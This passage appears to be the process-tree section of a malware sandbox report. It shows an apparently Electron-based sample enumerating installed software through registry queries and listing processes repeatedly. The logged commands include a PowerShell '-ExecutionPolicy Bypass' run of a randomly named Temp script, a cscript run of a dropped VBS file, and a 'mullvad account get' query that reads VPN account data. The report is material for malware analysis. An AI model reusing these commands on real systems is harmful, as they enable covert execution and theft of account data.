  PID:4884
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}"
    3⤵
    PID:4200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}""
  2⤵
  PID:6680
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}"
    3⤵
    PID:5628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9F51D16B-42E8-4A4A-8228-75045541A2AE}""
  2⤵
  PID:4856
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9F51D16B-42E8-4A4A-8228-75045541A2AE}"
    3⤵
    PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BCC2FB07-8CF0-4542-B10C-61BCEF04AFF2}""
  2⤵
  PID:3784
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:428
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BCC2FB07-8CF0-4542-B10C-61BCEF04AFF2}"
    3⤵
    PID:5940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7B73281-AB0A-4DAD-A09F-5C30D40679AC}""
  2⤵
  PID:6996
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7B73281-AB0A-4DAD-A09F-5C30D40679AC}"
    3⤵
    PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}""
  2⤵
  PID:5100
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}"
    3⤵
    PID:3192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CE4D7AE0-FCBA-486F-A58F-DBA3626FBE4B}""
  2⤵
  PID:3952
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CE4D7AE0-FCBA-486F-A58F-DBA3626FBE4B}"
    3⤵
    PID:5220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}""
  2⤵
  PID:5548
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}"
    3⤵
    PID:5520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D46F1FD9-2FE8-4D05-B2AC-011C23B69B24}""
  2⤵
  PID:5072
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D46F1FD9-2FE8-4D05-B2AC-011C23B69B24}"
    3⤵
    PID:6168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E634F316-BEB6-4FB3-A612-F7102F576165}""
  2⤵
  PID:7096
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E634F316-BEB6-4FB3-A612-F7102F576165}"
    3⤵
    PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\NaXX6dHoEqDG_tezmp.ps1""
  2⤵
  PID:5812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\NaXX6dHoEqDG_tezmp.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6464
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3984
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:512
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5856
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5136
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5808
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3992
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7012
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4480
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6972
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6984
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6976
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5280
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5528
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:2204
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7036
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5876
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5648
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:956
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5456
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7056
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6400
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5504
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5904
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5176
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:2240
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6088
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5552
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3032
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6416
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7064
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5232
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6732
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6488
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4440
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5320
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6136
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4964
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6512
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:2396
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6124
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6444
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4196
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5764
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6412
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6404
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5268
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5216
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7020
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6452
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5684
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6472
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5304
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6284
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5476
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6112
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6624
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6076
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6188
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6068
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6392
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:2296
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6052
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6000
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7060
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6024
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7104
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6864
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4508
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5896
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7100
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5328
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3848
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5696
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1256
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6480
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:7136
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6724
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5760
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3696
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5892
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1328
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4804
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5872
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3548
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5228
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3500
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6484
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6640
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6876
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6096
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6768
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3888
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:2036
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6784
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5380
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5568
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1808
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5772
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5496
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript C:\Users\Admin\AppData\Roaming\Vbn74st780jO.vbs"
  2⤵
  PID:5368
- - C:\Windows\system32\cscript.exe
    cscript C:\Users\Admin\AppData\Roaming\Vbn74st780jO.vbs
    3⤵
    PID:6612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "mullvad account get"
  2⤵
  PID:6748
- C:\Windows\system32\cmd.exe
